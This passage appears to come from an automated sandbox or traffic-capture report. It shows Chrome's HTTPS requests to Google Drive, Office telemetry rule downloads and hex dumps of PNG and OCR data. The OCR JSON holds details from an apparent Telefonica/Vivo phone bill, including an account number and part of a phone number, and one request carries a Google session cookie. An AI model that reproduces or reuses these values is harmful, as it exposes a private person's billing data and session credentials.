report-to="AppsViewerFrontendHttp" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmII1pBicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQjwcb_5O3cUmcGPr_ItMSupJ-YXxiQUFxbplmanlqUW6aUX5eSWpeSnxRgZGJoaGhiZ6BobxBQYAg90wdg" Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 07:55:25 UTC	2048	IN	Data Raw: 37 66 66 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 04 6c 08 02 00 00 00 e9 2f 65 a6 00 00 20 00 49 44 41 54 78 9c ec dd 77 40 53 57 db 00 f0 93 cd 08 9b 30 03 c8 de 20 8a 8a 8a 0b eb c2 bd ab 56 c5 05 38 70 80 d4 5d b7 a2 6d ad a3 2a 54 ac 8a 88 0b ab 80 8a 03 b4 8a 0c 45 10 41 40 96 84 0d 21 10 46 f6 fc fe 38 7d ef 9b 86 80 b4 1f ad b6 ef f9 fd 05 37 4f ce 3d b9 21 e1 b9 67 e2 98 4c 26 40 10 04 41 10 04 41 fa 0e fe 53 57 00 41 10 04 41 10 e4 df 06 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 82 20 08 82 20 7d 0c 25 58 08 Data Ascii: 7ff2PNGIHDR l/e IDATxw@SW0 V8p]m*TEA@!F8}7O=!gL&@AASWAA%X }%X }%X }%X }%X }%X }%X }%X }%X }%X
2024-11-26 07:55:25 UTC	2048	IN	Data Raw: 7c 3e 1f 00 50 57 57 57 5c 5c 1c 1c 1c 5c 59 59 c9 e5 72 a9 54 2a 8d 46 63 b3 d9 46 46 46 5e 5e 5e 23 47 8e 84 09 93 9d 9d 9d 9b 9b 9b 8e 8e 8e 58 2c 86 a5 31 18 0c 0f 0f 0f 3f 3f bf a3 47 8f 1a 1b 1b e7 e4 e4 ec d9 b3 a7 b3 b3 53 22 91 60 67 3c 70 e0 40 6e 6e ee f4 e9 d3 e1 98 2a 1a 8d f6 c5 17 5f 98 99 99 61 c1 76 76 76 9a 9a 9a 01 01 01 39 39 39 2a 17 03 63 30 18 4e 4e 4e af 5e bd da b6 6d 5b 7c 7c 3c fc 8a 6c 6e 6e 7e f5 ea 55 5e 5e 5e 4a 4a 4a 71 71 31 ea 25 44 90 ff 35 e6 e6 e6 b7 6e dd 6a 68 68 c0 8e 30 99 4c 17 17 17 4f 4f 4f 6c 20 01 00 40 22 91 a4 a4 a4 24 24 24 c0 e6 1c 00 00 9b cd be 79 f3 e6 85 0b 17 14 1b ba 9a 9b 9b 13 12 12 b6 6f df 3e 78 f0 60 17 17 97 f0 f0 f0 ca ca ca f6 f6 76 99 4c 96 9d 9d 7d f9 f2 65 d8 a4 c4 e5 72 0b 0b 0b b3 b3 b3 Data Ascii: \|>PWWW\\\YYrTFcFFF^^^#GX,1??GS"`g<p@nn_avvv999*c0NNN^m[\|\|<lnn~U^^^JJJqq1%D5njhh0LOOOl @"$$$yo>x`vL}er
2024-11-26 07:55:25 UTC	2048	IN	Data Raw: eb 93 c9 e4 9f 7f fe 19 46 9e 3d 7b 96 c9 64 52 a9 54 0d 0d 0d ec 7e 08 0e 42 87 df 5f ee ee ee 69 69 69 ed ed ed 34 1a 0d 8f c7 67 66 66 92 48 24 6c 10 3a 95 4a 4d 48 48 50 aa 09 ac 86 89 89 89 62 f0 92 25 4b 58 2c 96 b1 b1 31 91 48 bc 7d fb 36 00 60 e3 c6 8d d8 53 34 35 35 4f 9c 38 b1 73 e7 4e 12 89 a4 ab ab 8b d5 19 b3 7d fb f6 3e b9 4a 08 82 fc b3 b8 ba ba 0e 1a 34 28 26 26 06 de 9f e3 f1 78 ac 41 05 ea ec ec 94 4a a5 74 3a 1d 8f c7 7b 78 78 b4 b4 b4 98 99 99 69 6a 6a ce 9d 3b f7 c3 87 0f 38 1c 4e 2a fd ed 9b 9f 42 a1 08 85 42 38 02 09 03 db 9f ac ad ad 01 00 2e 2e 2e 4f 9f 3e 05 00 e8 eb eb eb e8 e8 90 c9 64 75 75 75 6c 38 44 77 c5 2a c2 e3 f1 38 1c 4e 26 93 c9 64 32 b9 5c 4e 24 12 f1 78 3c fc 59 26 93 e1 f1 f8 ae 01 44 22 51 2e 97 cb e5 72 a9 54 8a Data Ascii: F={dRT~B_iii4gffH$l:JMHHPb%KX,1H}6`S455O8sN}>J4(&&xAJt:{xxijj;8NBB8...O>duuul8Dw8N&d2\N$x<Y&D"Q.rT
2024-11-26 07:55:25 UTC	2048	IN	Data Raw: 36 d2 fc 78 e8 c7 24 24 24 c4 c5 c5 cd 9a 35 6b fe fc f9 bd 89 97 c9 64 6d 6d 6d d8 dd d2 8e 1d 3b 16 2c 58 e0 e6 e6 a6 14 76 ea d4 29 0b 0b 8b a9 53 a7 9e 38 71 c2 d8 d8 78 d1 a2 45 5d 8b 6a 68 68 80 8d d8 d3 a6 4d 33 35 35 ed a1 86 2c 16 6b c5 8a 15 4a c7 f3 f2 f2 d6 ae 5d bb 7e fd fa f9 f3 e7 c3 15 5f 0e 1c 38 30 62 c4 88 9e eb df de de 4e a1 50 b0 be 4b 95 72 73 73 73 72 72 e6 ce 9d bb 7b f7 ee d0 d0 d0 33 67 ce 04 06 06 3e 78 f0 c0 d4 d4 74 d6 ac 59 69 69 69 3b 76 ec 80 5f ac 5d 9f 9b 96 96 16 1f 1f 7f f0 e0 c1 d6 d6 d6 3d 7b f6 ec d9 b3 e7 bb ef be db b8 71 a3 8d cd 6f e3 02 23 23 23 f5 f5 f5 e7 cd 9b f7 eb af bf 5e bb 76 ed e4 c9 93 8a df 8c 2c 16 2b 30 30 70 c8 90 21 cb 97 2f df b5 6b d7 8e 1d 3b 9e 3c 79 a2 a6 a6 c6 e7 f3 35 35 35 6d 6c 6c e2 e3 Data Ascii: 6x$$$5kdmmm;,Xv)S8qxE]jhhM355,kJ]~_80bNPKrsssrr{3g>xtYiii;v_]={qo###^v,+00p!/k;<y555mll
2024-11-26 07:55:25 UTC	2048	IN	Data Raw: d3 dc dc dc af 5f 3f 6d 6d 6d 5b 5b 5b 02 81 50 51 51 31 7f fe 7c 3c 1e 8f b5 03 e1 f1 f8 b0 b0 b0 19 33 66 24 27 27 47 45 45 f9 f9 f9 6d da 42 a1 d4 93 00 00 20 00 49 44 41 54 b4 49 4d 4d 8d 4a a5 ca 64 32 38 a7 17 87 c3 61 07 9b 9a 9a ec ec ec 88 44 a2 95 95 15 ec ef 86 13 5b 74 75 75 1d 1d 1d e1 96 5e 58 7d f8 7c 3e bc e9 24 91 48 e6 e6 e6 2f 5e bc 50 57 57 87 19 a7 62 99 24 12 a9 bb 4c 48 57 57 57 47 47 47 47 47 87 46 a3 a9 ab ab 77 9d 38 4d a3 d1 4e 9f 3e bd 77 ef 5e b8 e3 b5 54 2a 95 48 24 78 3c 3e 21 21 61 e0 c0 81 85 85 85 24 12 c9 d3 d3 53 43 43 e3 ce 9d 3b 3f ff fc b3 8f 8f 0f 5c 12 42 43 43 03 cb ff 8a 8a 8a 74 75 75 f5 f5 f5 f7 ed db 87 dd c8 02 00 06 0c 18 30 7a f4 68 3a 9d ae d4 31 7a fb f6 6d a1 50 98 99 99 59 57 57 d7 d9 d9 19 12 12 72 f5 Data Ascii: _?mmm[[[PQQ1\|<3f$''GEEmB IDATIMMJd28aD[tuu^X}\|>$H/^PWWb$LHWWWGGGGGFw8MN>w^T*H$x<>!!a$SCC;?\BCCtuu0zh:1zmPYWWr
2024-11-26 07:55:25 UTC	870	IN	Data Raw: 4c a5 52 e1 49 b1 0b ce 64 32 cf 9f 3f 0f 1b 9f a8 54 6a cf 33 b4 09 04 82 b1 b1 31 ca ae 10 04 f9 fc 7d 2e 09 16 0e 87 f3 9e e3 ac a3 6a dd d1 82 e4 f2 b6 3a 15 eb 6d 3a f9 59 9b bb f5 c1 56 27 ce 63 fb a9 5c 77 b4 3c bd b6 5e d5 aa a1 56 03 4c ed 7c 95 67 02 1a 5a a9 f8 a7 98 7b a7 44 22 52 1e 04 0d f7 34 14 72 94 e7 61 e9 99 6b 75 b7 3b 90 92 da 7c e6 93 33 af 7b 4e 9f 32 62 de 96 a5 d7 a0 41 2a 7f 03 1d 1d 9d 7f f4 52 78 9f 9c a1 a1 e1 4f 3f fd 34 7d fa f4 4f 5d 11 e4 df ef f5 eb d7 0b 16 2c 18 34 68 d0 8a 15 2b 2a 2a 2a b0 e3 49 49 49 df 7f ff bd e2 9c 15 91 48 74 f4 e8 d1 f7 ef df a7 a4 a4 28 ed af fc 51 cd cd cd db b7 6f f7 f1 f1 99 34 69 d2 dd bb 77 01 00 55 55 55 87 0f 1f ae ab ab 3b 78 f0 60 6f 4a 80 b3 73 7a 79 ba 86 86 86 9d 3b 77 86 86 86 96 Data Ascii: LRId2?Tj31}.j:m:YV'c\w<^VL\|gZ{D"R4raku;\|3{N2bARxO?4}O],4h+**IIIHt(Qo4iwUUU;x`oJszy;w
2024-11-26 07:55:25 UTC	1163	IN	Data Raw: 3e 34 96 b4 54 64 d5 de 3b f4 e2 f6 ae a7 2a d2 23 1c 70 1a 6d f5 d1 b3 8b 05 92 7b 11 2f d8 aa da f3 ba e2 b6 0a 12 f6 3d 13 74 f6 e5 42 f0 98 f4 f4 f4 ab 57 af c2 9f 7b b3 63 49 62 62 e2 f4 e9 d3 97 2d 5b 56 5d 5d fd d3 4f 3f 05 06 06 06 06 06 ee dc b9 93 cd 66 63 9b b7 80 df ef 2d d3 da da ba 71 e3 c6 a9 53 a7 26 25 25 09 85 c2 83 07 0f 4e 99 32 e5 f4 e9 d3 f0 2e 33 23 23 03 db 78 07 db 82 46 e5 76 2e ad ad ad 70 fb 97 e0 e0 e0 da da da f8 f8 f8 a8 a8 28 00 80 40 20 38 71 e2 44 7d 7d fd f6 ed db a7 4d 9b 36 63 c6 8c 9d 3b 77 b6 b6 fe 36 1b 34 2e 2e 2e 33 33 13 fe 1c 1f 1f bf 79 f3 66 b8 a8 41 56 56 d6 c6 8d 1b 95 ee 9f 32 32 32 b0 fb bc b7 6f df 62 57 a6 2b c5 1a f2 78 bc fd fb f7 4f 99 32 e5 f0 e1 c3 70 94 37 00 a0 ba ba 3a 34 34 34 30 30 f0 e4 c9 93 Data Ascii: >4Td;*#pm{/=tBW{cIbb-[V]]O?fc-qS&%%N2.3##xFv.p(@ 8qD}}M6c;w64...33yfAVV222obW+xO2p7:44400
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: e7 ba ba ba fe f0 c3 0f be be be 7f 62 54 16 82 fc fd 38 1c 4e 45 45 c5 aa 55 ab e0 af 54 2a f5 f4 e9 d3 00 80 92 92 92 d5 ab 57 3b 3a 3a 96 96 96 4e 9a 34 29 38 38 78 c3 86 0d 12 89 44 2a 95 c2 9e ac 27 4f 9e 94 97 97 87 87 87 87 84 84 48 a5 52 99 4c f6 e1 c3 87 63 c7 8e 55 55 55 45 47 47 bb b9 b9 45 45 45 7d f7 dd 77 3e 3e 3e b0 e4 fc fc 7c 67 67 67 6c 24 25 9c 5f 0c 57 c5 ab af af 3f 72 e4 48 5c 5c dc f5 eb d7 23 23 23 3d 3c 3c 2e 5c b8 f0 dd 77 df bd 7b f7 ee f4 e9 d3 6e 6e 6e d5 d5 d5 af 5e bd 5a b2 64 49 71 71 71 59 59 d9 f8 f1 e3 6f de bc 59 57 57 47 a5 52 13 13 13 4f 9e 3c 59 5f 5f 7f f2 e4 c9 ef be fb 0e 1b 54 da d4 d4 24 16 8b 8d 8d 8d 0d 0c 0c e4 72 39 83 c1 60 32 99 43 86 0c d1 d2 d2 d2 d7 d7 af ac ac 54 0a 68 6c 6c ac ac ac d4 d5 d5 d5 d2 d2 Data Ascii: bT8NEEUTW;::N4)88xD'OHRLcUUUEGGEEE}w>>>\|gggl$%_W?rH\\###=<<.\w{nnn^ZdIqqqYYoYWWGRO<Y__T$r9`2CThll
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 5c 2e f7 fb ef bf 17 0a 85 1c 0e 67 f7 ee dd 31 31 31 2e 2e 2e 93 27 4f 1e 33 66 0c b6 a7 8d 62 0d a9 54 aa b9 b9 79 46 46 46 5b 5b 9b 8b 8b 0b 0c 60 32 99 2d 2d 2d 6f df be dd bb 77 6f 73 73 73 6b 6b 2b 8b c5 da b6 6d 1b 93 c9 54 bc 02 30 d8 c2 c2 02 7b 22 9b cd c6 82 2b 2b 2b 39 1c 4e 61 61 e1 17 5f 7c 01 00 a8 ae ae ee d7 af 9f e2 a9 3b 3a 3a b0 7d 72 38 1c 8e e2 96 3e 8a d7 16 e2 f3 f9 79 79 79 af 5f bf 8e 89 89 b9 7f ff be b5 b5 b5 ba ba 7a 5c 5c 9c bb bb 3b 6a be 42 fe 29 88 44 22 81 40 c0 d6 b0 c5 d4 d6 d6 7a 78 78 00 00 cc cd cd b5 b4 b4 2a 2a 2a 8c 8c 8c a8 54 2a 8d 46 53 dc ce af ae ae ce c4 c4 04 1e b7 b4 b4 84 e5 c0 a9 af 2e 2e 2e b0 6f 1d d2 d4 d4 84 77 77 dd 69 6f 6f 67 30 18 e1 e1 e1 63 c6 8c 39 71 e2 44 65 65 25 00 80 4e a7 13 89 44 f8 81 Data Ascii: \.g111...'O3fbTyFFF[[`2---owossskk+mT0{"+++9Naa_\|;::}r8>yyy_z\\;jB)D"@zxx**TFS...owwioog0c9qDee%ND
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 20 33 33 73 e8 d0 a1 71 71 71 96 96 96 e0 3f fb e7 c0 77 01 c6 27 25 25 89 44 22 c5 6d 5e 20 c5 1a f2 78 bc ef bf ff 7e d3 a6 4d 8a 03 36 cf 9c 39 53 54 54 c4 e7 f3 65 32 59 6e 6e 2e 4c b0 3a 3b 3b b1 3d 13 95 ae 00 26 2d 2d 0d 0b 86 53 96 1c 1d 1d f1 78 3c b6 72 a9 e2 a9 ad ad ad 6b 6b 6b e1 3e 39 fd fa f5 c3 2e bb b1 f1 7f 5b 52 c9 64 f2 c1 83 07 13 13 13 c7 8d 1b 07 db 14 3b 3b 3b 75 75 75 53 53 53 b3 b3 b3 77 ec d8 81 16 a7 40 fe 41 f0 78 fc a4 49 93 e2 e3 e3 e1 98 f4 d4 d4 54 06 83 e1 ee ee ee e4 e4 94 92 92 22 12 89 0a 0a 0a 78 3c 9e a7 a7 27 dc 3a bd a2 a2 42 71 f4 ba 83 83 43 65 65 65 5e 5e de cb 97 2f f3 f3 f3 b5 b4 b4 28 14 4a 66 66 a6 54 2a 7d fa f4 a9 62 5b d7 e0 c1 83 5b 5b 5b 13 13 13 01 00 75 75 75 71 71 71 23 47 8e 54 bc 85 d6 d1 d1 d1 d5 Data Ascii: 33sqqq?w'%%D"m^ x~M69STTe2Ynn.L:;;=&--Sx<rkkk>9.[Rd;;;uuuSSSw@AxIT"x<':BqCeee^^/(JffT*}b[[[[uuuqqq#GT

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:24 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075524Z-174f7845968nxc96hC1EWRspw80000000ux000000000466x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:24 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49838	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:24 UTC	1339	OUT	GET /viewer2/prod-03/presspage?ck=drive&ds=APznzabhUCA21QqNWg_vti3mXa0RHKwiqxlOJ-aeL9dvQ66ql45Dfr9b_h9LyRggyfCxDVZWlvHN0LvAdyV870z8z6I5WG46cl-9Phq5i9Qtwd7eTdRRxjjBcHVYQXMLWe622eABf1QTH3-8V3c85OJ6JKcZKl3plhvfJlrgnpGAYMj1m4Ln_9Uz6jWrQTaBnrhPi5-vkx1I-DVJ4a_dCYkj9nc_6ly1bIZ_BFmwyH9AC6ra1p8_Lan_7cZ4nBd4fw0GncIFh45qlEW-UCM2-9CyVxWmw-o76zdcElStxTJeyNZ3hHefOT_eYD6qRTkUtdSfODWyUF3Hr7U11PgdzDqIWFqNCNErd_7MDFkhbQfyzSLNoNz0Yq22Tp0yYiK974t8MbgIPCsRe0Ffyo-xlPjQEg78AsiIAg%3D%3D&authuser=0&page=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
2024-11-26 07:55:25 UTC	2188	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 26 Nov 2024 07:55:24 GMT Content-Disposition: attachment; filename="json.txt"; filename=UTF-8''json.txt Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-CTq_VtPLDYqal_LNmlWe4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version= Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="AppsViewerFrontendHttp" Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmII1pBicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQjwcb_5O3cUmcGPBw-dMSupJ-YXxiQUFxbplmanlqUW6aUX5eSWpeSnxRgZGJoaGhiZ6BobxBQYAjzYwuQ" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 34 35 31 31 0d 0a 29 5d 7d 27 0a 5b 37 32 2c 35 39 34 2c 38 34 30 2c 5b 5b 5b 32 30 2c 31 33 39 2c 31 37 2c 35 34 35 5d 2c 5b 5b 5b 32 30 2c 31 33 39 2c 31 37 2c 35 34 35 5d 2c 5b 5b 5b 32 30 2c 31 33 39 2c 31 37 2c 33 31 5d 2c 22 54 65 6c 65 66 6f 6e 69 63 61 22 5d 2c 5b 5b 32 30 2c 31 37 30 2c 31 37 2c 31 38 5d 2c 22 42 72 61 73 69 6c 22 5d 2c 5b 5b 32 30 2c 31 38 37 2c 31 37 2c 31 33 5d 2c 22 53 2e 41 2e 22 5d 2c 5b 5b 32 30 2c 34 34 36 2c 31 37 2c 31 31 5d 2c 22 4e 6f 22 5d 2c 5b 5b 32 30 2c 34 35 36 2c 31 37 2c 31 31 5d 2c 22 64 61 22 5d 2c 5b 5b 32 30 2c 34 36 36 2c 31 37 2c 32 34 5d 2c 22 43 6f 6e 74 61 3a 22 5d 2c 5b 5b 32 30 2c 34 39 31 2c 31 37 2c 36 30 5d 2c 22 30 30 30 30 31 33 34 30 34 35 34 39 36 37 22 5d 2c 5b 5b 32 30 2c 31 33 39 2c 31 37 Data Ascii: 4511)]}'[72,594,840,[[[20,139,17,545],[[[20,139,17,545],[[[20,139,17,31],"Telefonica"],[[20,170,17,18],"Brasil"],[[20,187,17,13],"S.A."],[[20,446,17,11],"No"],[[20,456,17,11],"da"],[[20,466,17,24],"Conta:"],[[20,491,17,60],"00001340454967"],[[20,139,17
2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 30 2c 39 2c 31 39 38 5d 2c 5b 5b 5b 32 31 33 2c 33 38 30 2c 39 2c 31 30 5d 2c 22 4f 53 22 5d 2c 5b 5b 32 31 33 2c 33 39 30 2c 39 2c 33 37 5d 2c 22 42 45 4e 45 46 c3 8d 43 49 4f 53 22 5d 2c 5b 5b 32 31 33 2c 34 32 36 2c 39 2c 31 31 5d 2c 22 44 4f 22 5d 2c 5b 5b 32 31 33 2c 34 33 36 2c 39 2c 32 39 5d 2c 22 43 45 4c 55 4c 41 52 22 5d 2c 5b 5b 32 31 33 2c 34 36 34 2c 39 2c 33 31 5d 2c 22 52 45 4e 4f 56 41 4d 22 5d 2c 5b 5b 32 31 33 2c 34 39 34 2c 39 2c 32 30 5d 2c 22 54 4f 44 4f 22 5d 2c 5b 5b 32 31 33 2c 35 31 33 2c 39 2c 31 33 5d 2c 22 44 49 41 3a 22 5d 2c 5b 5b 32 31 33 2c 35 32 35 2c 39 2c 39 5d 2c 22 32 35 22 5d 5d 5d 5d 5d 2c 5b 5b 32 33 37 2c 31 32 38 2c 31 30 2c 37 37 5d 2c 5b 5b 5b 32 33 37 2c 31 32 38 2c 31 30 2c 37 37 5d 2c 5b 5b 5b 32 33 37 2c 31 Data Ascii: 0,9,198],[[[213,380,9,10],"OS"],[[213,390,9,37],"BENEFCIOS"],[[213,426,9,11],"DO"],[[213,436,9,29],"CELULAR"],[[213,464,9,31],"RENOVAM"],[[213,494,9,20],"TODO"],[[213,513,9,13],"DIA:"],[[213,525,9,9],"25"]]]]],[[237,128,10,77],[[[237,128,10,77],[[[237,1
2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 30 31 2c 31 30 2c 35 5d 2c 22 2d 22 5d 5d 5d 5d 5d 2c 5b 5b 32 34 33 2c 33 39 32 2c 31 31 2c 37 33 5d 2c 5b 5b 5b 32 34 33 2c 33 39 32 2c 31 31 2c 37 33 5d 2c 5b 5b 5b 32 34 33 2c 33 39 32 2c 31 31 2c 32 30 5d 2c 22 53 45 55 53 22 5d 2c 5b 5b 32 34 33 2c 34 31 32 2c 31 31 2c 33 35 5d 2c 22 4e c3 9a 4d 45 52 4f 53 22 5d 2c 5b 5b 32 34 33 2c 34 34 37 2c 31 31 2c 31 38 5d 2c 22 56 49 56 4f 22 5d 5d 5d 5d 5d 2c 5b 5b 32 35 36 2c 33 39 32 2c 31 30 2c 31 37 39 5d 2c 5b 5b 5b 32 35 36 2c 33 39 32 2c 31 30 2c 31 37 39 5d 2c 5b 5b 5b 32 35 36 2c 33 39 32 2c 31 30 2c 31 32 5d 2c 22 54 65 6c 2e 22 5d 2c 5b 5b 32 35 36 2c 34 30 33 2c 31 30 2c 32 34 5d 2c 22 43 65 6c 75 6c 61 72 3a 22 5d 2c 5b 5b 32 35 36 2c 34 32 37 2c 31 30 2c 34 31 5d 2c 22 31 39 2d 39 39 37 38 38 Data Ascii: 01,10,5],"-"]]]]],[[243,392,11,73],[[[243,392,11,73],[[[243,392,11,20],"SEUS"],[[243,412,11,35],"NMEROS"],[[243,447,11,18],"VIVO"]]]]],[[256,392,10,179],[[[256,392,10,179],[[[256,392,10,12],"Tel."],[[256,403,10,24],"Celular:"],[[256,427,10,41],"19-99788
2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 34 33 30 2c 31 30 2c 31 34 5d 2c 22 56 69 76 6f 22 5d 2c 5b 5b 34 30 34 2c 34 34 33 2c 31 30 2c 39 5d 2c 22 6f 75 22 5d 2c 5b 5b 34 30 34 2c 34 35 32 2c 31 30 2c 31 35 5d 2c 22 6c 69 67 75 65 3a 22 5d 5d 5d 5d 5d 2c 5b 5b 34 31 35 2c 33 39 32 2c 31 30 2c 38 36 5d 2c 5b 5b 5b 34 31 35 2c 33 39 32 2c 31 30 2c 38 36 5d 2c 5b 5b 5b 34 31 35 2c 33 39 32 2c 31 30 2c 31 35 5d 2c 22 50 61 72 61 22 5d 2c 5b 5b 34 31 35 2c 34 30 36 2c 31 30 2c 38 5d 2c 22 6f 73 22 5d 2c 5b 5b 34 31 35 2c 34 31 33 2c 31 30 2c 32 34 5d 2c 22 73 65 72 76 69 c3 a7 6f 73 22 5d 2c 5b 5b 34 31 35 2c 34 33 36 2c 31 30 2c 39 5d 2c 22 64 61 22 5d 2c 5b 5b 34 31 35 2c 34 34 34 2c 31 30 2c 31 36 5d 2c 22 63 61 73 61 3a 22 5d 2c 5b 5b 34 31 35 2c 34 36 30 2c 31 30 2c 31 38 5d 2c 22 31 30 33 31 Data Ascii: 430,10,14],"Vivo"],[[404,443,10,9],"ou"],[[404,452,10,15],"ligue:"]]]]],[[415,392,10,86],[[[415,392,10,86],[[[415,392,10,15],"Para"],[[415,406,10,8],"os"],[[415,413,10,24],"servios"],[[415,436,10,9],"da"],[[415,444,10,16],"casa:"],[[415,460,10,18],"1031
